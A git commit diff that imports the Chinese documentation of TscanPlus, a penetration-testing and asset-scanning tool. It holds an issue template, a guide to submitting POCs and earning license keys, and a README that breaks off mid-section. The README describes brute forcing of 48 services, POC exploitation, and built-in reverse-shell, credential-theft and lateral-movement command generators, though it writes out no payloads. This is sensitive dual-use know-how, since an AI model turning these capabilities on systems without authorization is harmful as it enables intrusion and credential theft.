commit 6be840d9fa056a72ed2b8d80bf2f07cb7a55cc7f Author: Hermes Agent Date: Fri Jul 24 05:39:35 2026 +0000 chore: import TideSec/TscanPlus main docs snapshot History-free lightweight snapshot (docs/skill only). Large binaries and media published via Gitea Releases. diff --git a/.github/ISSUE_TEMPLATE/bug-反馈.md b/.github/ISSUE_TEMPLATE/bug-反馈.md new file mode 100644 index 0000000..a9e8b1c --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug-反馈.md @@ -0,0 +1,37 @@ +--- +name: Bug 反馈 +about: 欢迎反馈意见和建议 +title: '' +labels: '' +assignees: '' + +--- + +### 📝 问题描述 +清晰简洁地描述您遇到的问题(例如:扫描结果错误、模块崩溃、功能异常等) + +提issue前,可先查阅 [**FAQ**](https://github.com/TideSec/TscanPlus?tab=readme-ov-file#FAQ) 或 [**程序执行闪退相关问题合集**](https://github.com/TideSec/TscanPlus/issues/383) 看能否解决您的问题。 + +### 🕹 复现步骤 + +请按照实际操作步骤填写,确保可复现(示例格式): + +1. **使用环境**: + - 目标系统:`Windows 10企业版` + - 无影版本:`v2.7.0` + - 网络环境:`内网扫描` / `公网目标` / `代理环境(需说明代理配置)` + +2. **功能配置**: + - 功能模块:`端口扫描` + - 防护设备:目标是否存在 WAF/IDS/防火墙 + - 配置截图:`资产数量、端口选择、线程数、超时时间等,尽量附截图` + +3. **异常描述**: + - 执行扫描后马上闪退或一段时间后闪退,大约多久,CPU和内存占用情况如何 + - 出现频率:每次都能复现还是偶尔会出现,概率大约多少?该问题是否在旧版本正常? + - 观察日志文件`TscanPlus-Result.txt`是否有日志信息,提供关键字段截图 + +### ⚠️ 注意事项 +1. 为快速定位问题,**请务必提供完整的截图描述和日志文件** +2. 涉及敏感信息(如目标地址、业务数据)请通过私信或脱敏处理 +3. 临时方案:若有临时解决方法(如替换参数、修改配置),请在此说明 diff --git a/POC提交及无影Key获取说明.md b/POC提交及无影Key获取说明.md new file mode 100644 index 0000000..90768b3 --- /dev/null +++ b/POC提交及无影Key获取说明.md @@ -0,0 +1,75 @@ + +POC提交及无影Key获取说明 + + + +### 一、提交平台中已有漏洞对应Poc + +    1、在http://sso.tidesec.com注册并登录,从导航页访问"潮声漏洞检测平台",或使用http://poc.tidesec.com直接访问。 + +
+ +    2、点击"提交POC",选择平台已提供的漏洞,点击➕号,进入表单页。 + +
+ +    3、表单页中需要填写POC名称、POC详情。POC兼容Xray Poc 1.0版和Fscan的Poc格式,不兼容Xray Poc 2.0或XPoc格式。自行编写Poc时,可借助工具:https://github.com/phith0n/xray-poc-generation,每个POC均需个人搭建环境验证通过后再提交。 + +
+ +    4、确保填写无误,点击确定,审核结果在个人中心POC列表中查看。如未审核通过,可在个人中心进行编辑,重新提交审核。 + +
+ +    5、审核通过的POC,在注册码列表里,可以看到对应的注册码。 + +
+ +### 二、提交新漏洞及对应Poc + +    1、提交平台中不存在漏洞信息的POC,需自行先提交漏洞信息【头像-漏洞列表-点击添加】,漏洞通过审核后,方可继续提交POC信息。 + +
+ +    2、第一步的漏洞通过审核后,点击菜单"提交POC",查找该漏洞,点击➕号,进入表单页。 + +
+ +    3、后续操作与上面的"提交平台中已有漏洞对应Poc"相同。 + + +### 三、知识星球用户获取无影VipKey方法 + +    1、加入知识星球"剑影安全实验室"三天后,用户可登录sso【http://sso.tidesec.com】平台开通VIP认证:进入个人中心-开通/续费-输入星球内星球编号和星球昵称-提交。 + +
+ +    获取星球编号及星球昵称:必须安装【知识星球】手机端,打开手机端知识星球,点击右上⻆三条横线(小程序没有),出现下图右侧界面后,查看图中头像下方昵称为星球昵称,成员编号为星球编号。 + +
+ + + +    2、用户通过SSO审核成为VIP用户后,退出并重新登录SSO,访问"潮声漏洞检测平台"-个人中心-注册码列表,系统自动生成三个初始注册码,可直接使用。 + +
+ +
+ + +### 四、无影VipKey使用注意事项 + +    1、普通用户提交提交3个Poc后可获得3个VipKey,之后每多提交一个Poc可多获得一个VipKey。 + +    2、【知识星球】用户可直接获得3个注册码,每隔三个月可重置一次key,新key的有效期为1年。 + +    3、每个VipKey的有效期为1年(Poc提交审核通过后开始计算),一个VipKey只能用于一个客户端。 + +    4、获得VipKey后,复制到无影(TscanPlus v2.2及以后版本)中,**联网状态**,点击校验即可激活。 + + + +
+ + + diff --git a/README.md b/README.md new file mode 100644 index 0000000..007967c --- /dev/null +++ b/README.md @@ -0,0 +1,1113 @@ + + + + + +
+ + +## 无影(TscanPlus) + +[TscanClient 介绍(命令行版) ][url-TscanClient] + +[English Introduction][url-docen] + +一款综合性网络安全检测和运维工具,旨在快速资产发现、识别、检测,构建基础资产信息库,协助甲方安全团队或者安全运维人员有效侦察和检索资产,发现存在的薄弱点和攻击面。 + +**【主要功能】** 信息搜集、端口探测、服务识别、URL指纹识别、POC验证、弱口令猜解、目录扫描、UrlFinder、域名探测、网络空探、项目管理等。 + +**【辅助功能】** 编码解码、加密解密、CS上线、反弹shell、杀软查询、提权辅助、常用命令、字典生成、JAVA编码、资产分拣、Hots碰撞、40xBypass、Jwt破解、Ip归属地查询等。 + +https://github.com/TideSec/TscanPlus/assets/46297163/0f8cff21-6c33-4da3-bb6d-5f33d032a23e + + + +在2019年就用Python写过指纹识别工具—— [TideFinger](https://github.com/TideSec/TideFinger) ,并实现了一个免费在线的指纹检测平台——潮汐指纹 [finger.tidesec.com](http://finger.tidesec.com) , 目前已积累用户3万余人,每日指纹识别约2000余次,2023年初又基于Go语言开发了Go版的 [TideFinger_Go](https://github.com/TideSec/TideFinger_Go) ,在web指纹和服务指纹的识别方面积累了一些经验。后来我们团队内部大佬基于Fscan开发了一个Tscan,主要是用于内部的POC收集整理并形成自动化武器库,可基于指纹识别结果对poc进行精准检测。无影(TscanPlus)就是以指纹和Poc为根基,扩展了多项自动化功能,可大大提高安全运维和安全检测的效率,方便网络安全从业者使用。 + +**【特色功能】** + +1、内置5.2W余条指纹数据,对1万个web系统进行指纹识别仅需8-10分钟,在效率和指纹覆盖面方面应该是目前较高的了。 + +2、在指纹探测结果中,对130多个红队常见CMS和框架、Poc可关联CMS进行了自动标注。内置大量高质量Poc,并可外接Nuclei、Afrog、Xray等Poc工具,可实现指纹和Poc的联动,根据指纹识别的结果自动关联Poc,并可直接查看poc数据包相关信息。 + +3、在创建IP端口扫描、Url扫描时,可关联Poc检测、密码破解、目录扫描等功能,发现匹配的服务或产品时会自动触发密码破解或poc检测。 + +4、内置48种常见服务的弱口令破解,可方便管理员对内网弱口令进行排查,为提高检测效率,优选并精简每个服务的用户名和密码字典。覆盖的服务包括:SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。 + +5、实现了编码解码、哈希计算、加密解密、国密算法、数据格式化、其他转换等共36种类型,其中编码解码类8种、哈希计算13种、加密解密9种、国密算法3种、数据格式化9种、其他2种。包含了AES、RSA、SM2、SM4、DES、3DES、Xor、RC4、Rabbit、Base64、Base32、URL、ASCII、各进制转换、字符串与进制转换、HTML、Unicode、MD5、Hmac、SM3、SHA1、SHA2、SHA3、NTLM、JSON格式化与压缩、XML格式化与压缩、IP地址与整数互转、String.fromCharCode、Unix时间戳互转、文本去除重复行、字母大小写、生成各类随机字符串、字符串反转、JWT解析与弱密码、一键解密OA等。 + +6、目录枚举默认使用HEAD方式,可对并发、超时、过滤、字典等进行自定义,内置了DirSearch的字典,可导入自己的字典文件,也可用内置字典fuzz工具进行生成。 + +7、内置各类反弹shell命令85条、Win内网(凭证获取、权限维持、横向移动)命令26类、Linux内网命令18类、下载命令31条、MSF生成命令21条、CS免杀上线命令等,可根据shell类型、操作系统类型、监听类型自动生成代码。 + +8、灵活的代理设置,可一键设置全局代理,也可以各模块单独开启代理功能,支持HTTP(S)/SOCKS5两种代理,支持身份认证。 + +9、快速的子域名探测,域名可联动其他子功能,可配置key后对接多个网络空间探测平台,一键查询去重。 + +10、内置资产分拣、JsFinder、Host碰撞、Jwt秘钥破解、IP查询、Windows提权辅助、杀软查询、shiro解密等各类工具。 + +**【免责声明&使用许可】** + +1、本工具禁止进行未授权商业用途,**禁止二次开发后进行未授权商业用途**。 + +2、本工具仅面向合法授权的企业安全建设行为,在使用本工具进行检测时,您应**确保该行为符合当地的法律法规**,并且已经**取得了足够的授权**。 + +3、如您在使用本工具的过程中存在任何**非法行为**,您需自行承担相应后果,我们将不承担任何法律及连带责任。 + +4、在安装并使用本工具前,请**务必审慎阅读、充分理解各条款内容,并接受本协议所有条款,否则,请不要使用本工具**。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 + + +## 目录 + +* [更新日志](#更新日志) +* [软件使用](#软件使用) + * [软件下载及更新](#1软件下载及更新) + * [Welcome](#2Welcome) + * [项目管理](#3项目管理) + * [信息搜集](#4信息搜集) + * [端口扫描](#5端口扫描) + * [URL探测](#6URL探测) + * [域名枚举](#7域名枚举) + * [POC检测](#8POC检测) + * [密码破解](#9密码破解) + * [Awvs扫描](#10Awvs扫描) + * [空间测绘](#11空间测绘) + * [编码解码](#12编码解码) + * [轻武器库](#13轻武器库) + * 【目录枚举】 + * 【UrlFinder】 + * 【Host碰撞】 + * 【40xBypass】 + * 【Jwt解码及破解】 + * 【IP归属查询】 + * 【代理池功能】 + * [红队命令](#14红队命令) + * 【红队命令】 + * 【下载命令】 + * 【Websehll】 + * 【java编码】 + * 【反弹shell】 + * 【CS上线】 + * [辅助工具](#15辅助工具) + * 【资产分拣】 + * 【密码生成】 + * 【密码查询】 + * 【提权辅助】 + * 【杀软查询】 + * [其他功能](#16其他功能) + * 【AI辅助分析】 + * 【导出功能】 + * 【数据库管理】 + * 【配置管理】 + * 【主题设置】 + * 【日志功能】 +* [软件下载](#软件下载) +* [致谢](#致谢) +* [FAQ](#FAQ) + +### 更新日志 + +感谢各位师傅提出的宝贵修改建议和诸多bug! + +v3.3.0 【2026.06.01】整合GUI图形版和命令行版,上线MCP功能 + +v3.2.9 【2026.05.16】增加Interactsh版本及搭建说明 + +v3.2.8 【2026.04.30】新增幽灵Bits生成器、更新小程序查询接口 + +v3.2.7 【2026.04.21】内置Poc新增1100个,累计8800+ + +v3.2.5 【2026.03.31】新增【数据处理】功能模块、支持IPv6网段识别 + +v3.2.4 【2026.03.22】新增【快捷启动】模块、内网离线认证修复 + +v3.2.3 【2026.03.15】红队常用增加安全wiki和工具wiki + +v3.2.2 【2026.03.08】端口指纹规则库升级、Poc安全机制更新 + +v3.2.1 【2026.02.28】增加资产探测一级栏目、修复多个bug + +v3.2.0 【2026.02.12】修复PoC误报、支持最新小程序自动定位 + +v3.1.9 【2026.02.08】支持Key离线认证、新增国内常见CMS相关500+Poc + +v3.1.8 【2026.02.03】完善key校验机制、支持CVE-2026-24061自动检测 + +v3.1.7 【2026.01.28】上线Repeater重放功能、OOB检测机制完善 + +v3.1.6 【2026.01.23】内置Poc更新至6100+,根据应用进行PoC分类 + +v3.1.5 【2026.01.15】信息搜集增加、完善资产测绘多个Bug + +v3.1.4 【2025.12.31】Swagger支持API接口、域名枚举API调用 + +v3.1.3 【2025.12.25】数据导出增加Json格式、小程序反编译功能完善 + +v3.1.2 【2025.12.17】根据资产数优化精简内置Poc、空间测绘增加进度显示 + +v3.1.1 【2025.12.11】资产探测支持国密证书、所有页面支持中英文切换 + +v3.1.0 【2025.12.05】Icp查询增加暂停功能、修复Key验证异常等 + +v3.0.9 【2025.11.30】上线DumpAll模块(.Git/.Svn/.DS/Dir) + +v3.0.8 【2025.11.23】新增水洞专用模块,可一键生成Word报告 + +v3.0.7 【2025.11.15】修复目录枚举闪退、Awvs配置项保存错误等 + +v3.0.6 【2025.11.08】优化前端数据分页、增加批量编码功能 + +v3.0.5 【2025.11.03】全面升级PoC检测引擎、新增PoC一键自动生成 + +v3.0.4 【2025.10.24】新增ICP_Query接口、Awvs一键同步等 + +v3.0.3 【2025.10.18】新增小程序反编译功能,支持微信3.x/4.x格式 + +v3.0.2 【2025.10.12】新增Nessus功能模块、aydayMap接口等 + +v3.0.1 【2025.10.01】 增加Awvs批量删除、项目数据二次确认等 + +v3.0.0 【2025.09.23】 增加Awvs扫描功能、项目管理支持定时任务等 + +v2.9.9 【2025.09.03】 针对poc、js结果增加AI辅助分析功能 + +v2.9.8 【2025.08.21】 JsFinder多个功能优化 、ICP备案信息批量功能优化等 + +v2.9.7 【2025.08.20】 增加项目中断后继续扫描功能、主动指纹探测策略优化 + +v2.9.6 【2025.08.12】 信息搜集增加域名及ip归属地查询、JsFinder爬虫优化 + +v2.9.5 【2025.07.28】 信息搜集功能与项目管理集成、优化jsfinder功能 + +v2.9.4 【2025.07.16】 修复密码爆破闪退、项目列表刷新异常、SN导致闪退等Bug + +v2.9.3 【2025.07.10】 修复密码破解联动、资产分拣、资产测绘等多个Bug + +v2.9.2 【2025.07.01】 增加达梦数据库、ActiveMQ、RabbitMQ等服务破解 + +v2.9.1 【2025.06.23】 端口扫描增加防火墙检测选项、增加标题Slogan等 + +v2.9.0 【2025.06.16】 正式上线信息搜集模块和ICP备案信息批量查询功能 + +v2.8.4 【2025.06.13】 空间测绘API支持多个key轮询及多条件查询 + +v2.8.3 【2025.06.08】 增加免费代理爬取功能、ICMP和PING存活探测等 + +v2.8.2 【2025.05.30】 修复Poc前端bug、RDP密码破解异常等 + +v2.8.1 【2025.05.16】 修复TC扫描bug、jwt解码bug、资产测绘hearder等 + +v2.8.0 【2025.05.07】 优化线程动态调整策略、新增内置poc、可导出xls和html等 + +v2.7.9 【2025.05.01】 支持UDP扫描、前端页面布局调整、增加TitleBar等 + +v2.7.8 【2025.04.23】 代理池增加无限轮询模式、修复SMB和Mongodb密码破解等 + +v2.7.7 【2025.04.17】 支持ipv6扫描、优化启发式扫描进度估算、目录枚举功能优化等 + +v2.7.6 【2025.04.06】 目录枚举判断算法优化、支持IP:PORT格式、代理池爬取bug修复等 + +v2.7.5 【2025.04.01】 增加大网段启发式扫描、增加UDP端口扫描、客户端进度条优化等 + +v2.7.4 【2025.03.21】 上线客户端功能、内网代理验证bug修复、WMI密码爆破优化等 + +v2.7.3 【2025.03.12】 密码爆破功能闪退修复、jwt破解时编码兼容优化登 + +v2.7.2 【2025.02.18】 增加MQTT端口破解功能、代理池增加根据关键词切换代理等 + +v2.7.1 【2025.01.23】 增加导出项目所有数据到Excel、代理池增加自动破解功能等 + +v2.7.0 【2025.01.18】 代理池可批量启用、禁用、删除等,显示当前代理IP及手工切换 + +v2.6.9 【2025.01.10】 Zoomeye接口API升级、资产分拣功能完善和优化、过滤打印机 + +v2.6.8 【2025.01.06】 部分web指纹优化完善、密码猜解线程优化、jwt字典自定义等 + +v2.6.7 【2024.12.25】 代理先验证后使用、前后台数据同步、Fofa不同权限查询 + +v2.6.6 【2024.12.22】 空间测绘功能增加查询语法聚合、url探测异常修复 + +v2.6.5 【2024.12.18】 增加代理池管理、中英文切换、多网卡选择等,修复增强多项功能 + +v2.6版 【2024.10.18】 增加程序自动更新、密码破解结果连接验证、内置poc增至2300+等 + +v2.5版 【2024.09.15】 重构端口扫描模块,效率提升2-3倍、Poc检测资源占用高等修复等 + +v2.4版 【2024.09.01】 防误报算法优化升级、新增webshell生成、密码破解漏报和闪退修复等 + +v2.3版 【2024.08.12】 升级框架、增加Log功能、资源占用优化、空间探测算法优化等 + +v2.2版 【2024.07.22】 增加1300+Poc、Key认证、Host碰撞、40xBypass检测、Jwt破解和加解密、IP归属查询等 + +v2.1版 【2024.07.01】 增加自定义被动指纹、程序中断恢复、自定义header信息、导出资产excel高危标红等 + +v2.0版 【2024.06.18】 增加编解码功能,支持36种编解码、加解密、哈希等,Nuclei自定义poc智能匹配 + +v1.9版 【2024.05.28】 增加指纹探测规则8327条,总计51873条,远程下载非核心配置文件,增加主动指纹探测 + +v1.8版 【2024.05.01】 密码破解功能完善及多线程优化、资产较多时的前端响应优化,项目漏洞详情展示 + +v1.7版 【2024.04.16】 增加资产分拣功能,Poc检测可直接调用Nuclei、Xray、Afrog,增加自定义poc功能 + +v1.6版 【2024.03.25】 增加项目管理流程,增强各功能模块联动,数据库可对所有功能和数据进行增删改查 + +v1.5版 【2024.03.01】 增加一键检测ApiKey可用性功能,AV识别数据库更新,支持自定义添加红队命令 + +v1.4版 【2024.02.18】 增加网络空间探测功能模块,内置9种常见空间探测API,增加目录枚举递归限制及过滤功能 + +v1.3版 【2024.01.22】 增加密码生成功能,内置三种生成模式,增加设备弱口令查询功能,内置1.1万条记录 + +v1.2版 【2024.01.10】 增加子域名枚举、接口查询功能,针对非web服务的指纹识别进行优化,增加导出excel功能 + +v1.1版 【2023.12.27】 新增加java命令编码,重构目录枚举实现方式,效率提高10倍,IP扫描和指纹识别同步进行 + +v1.0版 【2023.12.21】 实现局部/全局代理功能,支持HTTP(s)/SOCKS5,正式版发布 + +v0.9版 【2023.12.19】 实现各功能之间的任务联动及右键菜单联动 + +v0.8版 【2023.12.15】 增加版本更新检查、有效期校验、配置文件读写等 + +v0.7版 【2023.12.12】 辅助功能杀软查询、提权辅助完成 + +v0.6版 【2023.12.10】 反弹shell、CS上线、下载命令、红队命令完成 + +v0.5版 【2023.12.08】 目录枚举及Fuzz模式实现 + +v0.4版 【2023.11.29】 弱口令破解模块功能实现 + +v0.3版 【2023.11.18】 Poc检测及Poc指纹匹配功能实现 + +v0.2版 【2023.11.01】 Url扫描及web指纹精简功能实现 + +v0.1版 【2023.10.23】 Ip及端口扫描、服务识别功能实现 + +v0.0版 【2023.10.10】 TscanPlus架构选择及功能初步规划 + + +### 软件使用 + +#### 1、软件下载及更新 + +Github下载:https://github.com/TideSec/TscanPlus/releases + +知识星球:【剑影安全实验室】见下方二维码(**更多、更新版本**) + +软件基于Wails开发,可支持Windows/Mac/Linux等系统,下载即可使用。 + +由于MacOs的一些安全设置,可能会出现个别问题,如报错、闪退等情况,详见最下方FAQ。 + +Windows运行时依赖 [Microsoft WebView2](https://developer.microsoft.com/en-us/microsoft-edge/webview2/),默认情况下,Windows11和win2012会安装它,但有些旧机器(如Win2k8)不会,如机器没有webview2环境,程序会引导下载安装webview2。另外Windows程序使用了Upx压缩,杀毒软件可能会报病毒,请自查。 + +#### 2、Welcome + +软件运行后,需审慎阅读、充分理解 **《免责声明&使用许可》** 内容,并在Welcome页面勾选 **“我同意所有条款”** ,之后方可使用本软件。 + +
+ +**【Key认证功能】** + +为了"无影(TscanPlus)"的Poc检测更全面、精准,能形成良性生态,新增key认证功能。 + +经过key认证后,可使用所有内置POC,未认证用户只能使用420个POC,其他功能均可正常使用。 + +
+ +通过key认证后,可使用所有内置的1300个poc。 + +
+ +**获取Key的三条途径:** + +(1)在Poc平台提交3个Poc后可获得3个Key,之后每多提交一个Poc可多获得一个Key。 + +(2)在交流群或Github Issue中提交一个有效Bug,Bug修复后可获得一个Key。 + +(3)加入星球可直接获得3个Key,每隔三个月可重置一次key,之后每提交一个Poc可多获得一个Key。 + +**关于Key认证问题** + +(1)只有初次进行Key校验的时候才需要联网(连接到poc.tidesec.com)认证,认证成功后不再需要再联网校验。 + +(2)每个Key只能使用一个客户端,目前主要结合网卡等硬件序列号进行匹配,所以当硬件更换时可能导致认证失败。 + +(3)Key认证只是为了能让poc使用和搜集形成良性循环,"取之于众,用之于众",建议大家手头有poc的可以提交poc。 + +**详细Key提交、获取和使用说明可看这里:http://poc.tidesec.com/index/explain.html** + +#### 3、项目管理 + +项目管理功能是把各功能进行流程整合,用户可根据自己的使用场景设计项目功能,完美融合了"资产测绘"、"子域名枚举"、"IP端口扫描"、"密码破解"、"POC检测"、"URL扫描"、"目录探测"、"UrlFinder"等功能。项目执行结果会存储到相应项目数据库中,方便后续查询和使用。 + +**【任务配置】** + +在添加目标资产并配置任务参数后,TscanPlus会在后台对相应目标执行相应操作,并显示在对应功能Tab栏中。 + +1、各任务为顺序执行,"资产测绘" => "子域名枚举" => "IP端口扫描" => "密码破解" => "POC检测" => "URL扫描" => "目录探测" => "UrlFinder",默认情况下,上一步探测发现的资产会作为后一阶段的资产输入。 + +2、在使用资产测绘功能时,如果测绘发现的资产可能不属于你的目标范围时,开启“对资产测绘结果进行扫描和POC检测”时,空间测绘的资产可能超授权范围,请慎用。 + +3、开启URL探测功能后,会对域名+IP+URL+空间测绘等发现的所有web应用进行URL指纹探测。 + +4、不选择“POC匹配指纹”时,会对所有探测到的资产+所有POC进行测试。 + +5、开启“所有端口和服务”后,会对匹配到的所有端口和服务进行破解,不开启时只破解常见的8种服务。 + +6、在使用目录探测功能时,如选择"仅URL列表"时,仅会对URL列表中的URL进行目录探测。选择"所有结果URL"时,会对IP探测、域名任务等发现的所有URL进行目录探测,当URL较多时可能会较慢。 + +
+ +**【项目管理】** + +在项目管理中,还可直观的展示项目概览,如项目总数、URL资产、IP资产、漏洞总数、敏感信息等,并可对所有项目进行编辑、重新执行、停止、删除等操作。 + +
+ +**【结果展示】** + +所有扫描结果将显示在对应功能Tab中。 + +
+ +#### 4、信息搜集 + +信息搜集模块内置了多个API查询接口,需要配置cookie的有四项(爱站、站长之家、风鸟、beianx),配置cookie后能搜集到更全面的信息,并可对cookie有效性进行验证。 + +
+ +**【结果展示】** + +
+ +#### 5、端口扫描 + +对目标IP进行存活探测、端口开放探测、端口服务识别、Banner识别等,可识别100余种服务和协议。 + +**【任务配置】** + +IP支持换行分割,支持如下格式:192.168.1.1、192.168.1.1/24、192.168.1.1-255、192.168.1.1,192.168.1.3 + +排除IP可在可支持输入的IP格式前加!: !192.168.1.1/26 + +可选择端口策略、是否启用Ping扫描、是否同步密码破解、是否同步POC检测、是否开启代理,配置任务后可开启扫描。 + +**【扫描结果】** + +扫描结果如下,会显示服务相关协议、Banner、状态码、标题等,如Banner中匹配到可能存在漏洞的产品会使用红色标识。 + +选择某一行,右键菜单也可对某地址进行单独POC测试、弱口令测试、目录枚举等,也可以对数据进行单条保存或全部保存。 + +
+ +为方便某些场景下的使用,针对内网开放445端口的服务器会自动进行MS17010原理性探测,在避免对服务器造成影响的同时尽可能的探测可能存在的漏洞。 + +
+ +**【功能联动】** + +在任意功能中,都可与其他功能进行联动,比如IP扫描时可同时开启密码破解和POC检测,一旦发现匹配的端口服务会自动进行密码破解,发现匹配的指纹时会进行poc检测。勾选这两项即可,结果会显示在相关模块中。 + +
+ + +https://github.com/TideSec/TscanPlus/assets/46297163/2a88ced9-1612-4015-aa5e-0bb0e243525a + + + + +**【高级配置】** + +在高级配置中可设置代理地址,在开启全局代理后,各功能都会代理,支持HTTP(S)/SOCKS5两种代理,支持身份认证。还可以设置全局cookie或UA等。 + +代理格式: + +HTTP代理格式:http://10.10.10.10:8081 或 http://user:pass@10.10.10.10:8081 + +HTTPS代理格式:https://10.10.10.10:8081 或 https://user:pass@10.10.10.10:8081 + +Socks5代理格式:socks5://10.10.10.10:8081 或 socks5://user:pass@10.10.10.10:8081 + +
+ +#### 6、URL探测 + +TscanPlus目前整合指纹2.6W余条,经多次优化,有效提高了资产发现的协程并发效率,对1万个web系统进行指纹识别仅需8-10分钟,在效率和指纹覆盖面方面应该是目前较高的了。 + +**【任务配置】** + +URL探测主要针对web地址进行批量检测,输入格式为Url地址每行一个,并且前缀为http/https: +http://www.abc.com +http://192.168.1.1:8080 +https://www.abc.com:8443 + +同样,可选择线程数、是否同步POC检测、是否开启代理,配置任务后可开启扫描。 + +**【自定义指纹】** + +TscanPlus自v2.1版本后,支持自定义指纹,包括被动指纹和主动指纹。 + +开启主动指纹探测后,在配置文件目录中,编辑`FingerDir.yaml`文件,即可添加主动探测指纹规则。每增加一条主动指纹,那么在指纹识别时,就会多发出一条http请求,量较大时会比较影响指纹识别效率,所以慎重添加。 + +
+ +在配置文件目录下,存在`Finger.json`文件,这是被动指纹识别的规则库,指纹库采用Wappalyzer格式,为方便实用自定义指纹,增加了headerstr和titlestr两个键,可分别进行header、title字符串的匹配。如自定义指纹和内置指纹重复,会优先使用自定义指纹。在添加自定义指纹后,先测试再使用! + +
+ +**【扫描结果】** + +扫描结果如下,会显示web站点标题、Banner、状态码、中间件、WAF识别等,如Banner中匹配到可能存在漏洞的产品会使用红色标识。 + +选择某一行,右键菜单也可对某地址进行单独POC测试、目录枚举等,也可以对数据进行单条保存或全部保存。 + +
+ +#### 7、域名枚举 + +在域名枚举方面TscanPlus集成了多种功能,可以使用字典枚举,也可以使用多个免费接口进行查询。 + +**【任务配置】** + +枚举较依赖网络,所以多域名时会逐个进行。默认10000的字典,线程50在网络状态较好时大约用时12秒。 + +域名每行一个,不要加http前缀,如: + +tidesec.com +tidesec.com.cn + +同样,可选择线程数(建议50-00)、是否同步POC检测、是否指纹识别,配置任务后可开启域名任务。 + +**【扫描结果】** + +扫描结果如下,会显示子域名、解析IP、开放端口、网站标题、域名来源等,如Banner中匹配到可能存在漏洞的产品会使用红色标识。 + +选择某一行或多行,右键菜单也可对某地址进行单独POC测试、目录枚举等,也可以对数据进行单条保存或全部保存。 + +
+ +#### 8、POC检测 + +TscanPlus内置了部分POC,并进行了Level分类,Level1是最常见、使用频率最高的POC,Level2是较通用的POC,Level3为不太常见POC。 + +**【任务配置】** + +URL可导入txt文件,也可自行输入,必须是HTTP/HTTPS为前缀的URL地址。 + +比较重要的一个选项是“POC匹配指纹”,默认开启这个选项,这时会根据指纹信息匹配POC,如匹配不到POC则不检测。关闭该选项后,会对所有选择的POC进行测试。 + +POC选项可指定外部POC文件或POC文件夹,在后面输入POC的绝对路径,如C:\POC,但导入的POC无法和指纹进行匹配,默认会把导入的POC全跑一遍。 + +外部POC可支持Xray或Xray或同样格式的POC,POC编写可参考:https://poc.xray.cool/ 或 https://phith0n.github.io/xray-poc-generation/ + +**【自定义poc】** + +Poc检测可直接调用Nuclei、Xray、Afrog等外部POC工具,并可对各工具的poc进行自定义。 + +在开启“Poc匹配指纹”功能后,程序会根据目标指纹对外置poc进行模糊匹配,之后再进行poc检测,可大大减少poc检测发包量,缩减检测时间。 + +
+ +Nuclei的poc会默认下载到用户文件夹下的nuclei-templates目录,本程序会自动识别该目录,所以想在Nuclei中使用“Poc匹配指纹”功能时可不指定Nuclei的Poc。 + +但Afrog的Poc默认是内置在程序中,所以如果想在Afrog中使用“Poc匹配指纹”功能,需从https://github.com/zan8in/afrog/tree/main/pocs/afrog-pocs 中下载poc文件,然后在程序中指定Poc所在目录,即可在Afrog中使用“Poc匹配指纹”功能。 + +对指纹匹配Poc的规则进行了优化和完善,在防止漏报的情况下,尽可能的减小poc检测数量。添加poc检测级别过滤器,可有效避免nuclei、afrog工具默认扫描时的大量info类信息。 + +
+ + + +无影(TscanPlus)的自定义POC功能也已经完善,可兼容Xray Poc 1.0版和Fscan的Poc格式。 +自行编写Poc时,可使用工具进行测试编写:https://github.com/phith0n/xray-poc-generation + +**【扫描结果】** + +扫描结果如下,会显示发现漏洞的站点、POC名称、Banner、状态码、标题等,选择某一行后,可查看Request和Response数据包。 + +最下方会显示目标存活数量、检测成功POC数量、检测队列情况、用时等。 + +
+ +#### 9、密码破解 + +TscanPlus内置48种常见服务的弱口令破解,可方便管理员对内网弱口令进行排查,为提高检测效率,优选并精简每个服务的用户名和密码字典。覆盖的服务包括:SSH,RDP,SMB,MYSQL,SQLServer,Oracle,MongoDB,Redis,PostgreSQL,MemCached,Elasticsearch,FTP,Telnet,WinRM,VNC,SVN,Tomcat,WebLogic,Jboss,Zookeeper,Socks5,SNMP,WMI,LDAP,LDAPS,SMTP,POP3,IMAP,SMTP_SSL,IMAP_SSL,POP3_SSL,RouterOS,WebBasicAuth,Webdav,CobaltStrike等。 + +**【任务配置】** + +在左侧选定要破解的服务,并填入目标地址即可。右侧配置任务时,可选择使用内置字典或自行导入、是否开启指纹识别、Oracle监听设置、执行命令等。 + +
+ + + +**【扫描结果】** + +扫描结果如下,会显示发现弱口令的服务、账号、密码、Banner、执行命令、用时等。 + +最下方会显示目标存活数量、破解成功数量、检测队列情况、用时等,并会实时显示破解日志。 + +
+ +在TscanPlus v2.6之后版本中,新增密码破解结果连接验证功能,可对破解发现的弱口令进行连接校验,支持十多种常见协议。 + +
+ +
+ + + +#### 10、Awvs扫描 + +无影已经内置了poc检测、密码破解、目录枚举等功能,但常规web漏洞扫描方面一直举棋未定,最终还是自研和对接商用软件中选择了对接成熟的扫描工具——Awvs。 + +而Awvs作为一款成熟的商业漏洞扫描器,拥有强大的漏洞检测能力和爬虫功能,在网络安全行业中被广泛应用于企业安全评估、渗透测试前期信息收集以及Web应用例行安全检查等场景。 + +配置好Awvs和API key,连接测试通过后,即可进行站点扫描。 + +
+ +可查看漏洞和爬虫链接信息 + +
+ +支持其他功能的右键联动 + +
+ +目前Awvs接口测试主要是采用v25.1版本,对之前版本的兼容性可能一般,所以可能需要下载使用较新的Awvs。工具上也有docker镜像推荐: + +
